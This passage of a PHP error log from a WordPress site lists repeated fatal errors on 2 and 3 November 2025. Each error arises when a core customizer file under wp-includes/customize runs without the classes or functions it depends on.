  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[02-Nov-2025 08:17:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[02-Nov-2025 08:18:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[02-Nov-2025 08:18:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[02-Nov-2025 08:18:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[02-Nov-2025 08:18:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[02-Nov-2025 08:19:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[02-Nov-2025 08:20:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[02-Nov-2025 08:24:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[02-Nov-2025 08:26:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[02-Nov-2025 08:27:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[02-Nov-2025 08:30:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[02-Nov-2025 08:31:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[02-Nov-2025 08:32:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[02-Nov-2025 08:33:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[02-Nov-2025 08:34:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[02-Nov-2025 08:36:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[02-Nov-2025 08:37:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[02-Nov-2025 08:38:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[02-Nov-2025 08:39:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[02-Nov-2025 08:40:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[02-Nov-2025 08:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[02-Nov-2025 08:42:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[02-Nov-2025 08:43:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[02-Nov-2025 08:44:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[02-Nov-2025 08:45:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[02-Nov-2025 08:46:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[02-Nov-2025 08:47:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[02-Nov-2025 08:48:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[02-Nov-2025 08:49:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[02-Nov-2025 08:50:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[02-Nov-2025 08:51:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[02-Nov-2025 08:52:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[02-Nov-2025 08:54:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[02-Nov-2025 08:56:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[02-Nov-2025 08:57:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[02-Nov-2025 08:58:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[02-Nov-2025 08:59:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[02-Nov-2025 09:00:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[02-Nov-2025 09:01:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[02-Nov-2025 09:02:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[02-Nov-2025 09:09:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[02-Nov-2025 09:13:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[02-Nov-2025 09:14:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[02-Nov-2025 09:15:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[02-Nov-2025 09:16:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[02-Nov-2025 09:17:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[02-Nov-2025 09:18:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[02-Nov-2025 09:19:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[02-Nov-2025 09:20:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[02-Nov-2025 09:21:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[02-Nov-2025 09:23:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[02-Nov-2025 09:24:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[02-Nov-2025 09:25:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[02-Nov-2025 09:26:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[02-Nov-2025 09:27:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[02-Nov-2025 09:28:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[02-Nov-2025 09:29:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[02-Nov-2025 09:30:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[02-Nov-2025 09:31:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[02-Nov-2025 09:32:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[02-Nov-2025 09:33:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[02-Nov-2025 09:34:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[02-Nov-2025 09:35:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[02-Nov-2025 09:36:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[02-Nov-2025 09:37:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[02-Nov-2025 09:38:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[02-Nov-2025 09:39:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[02-Nov-2025 09:41:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[03-Nov-2025 04:43:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[03-Nov-2025 04:43:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[03-Nov-2025 04:43:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[03-Nov-2025 04:44:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[03-Nov-2025 04:44:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[03-Nov-2025 04:45:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[03-Nov-2025 04:51:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[03-Nov-2025 04:53:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[03-Nov-2025 04:54:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
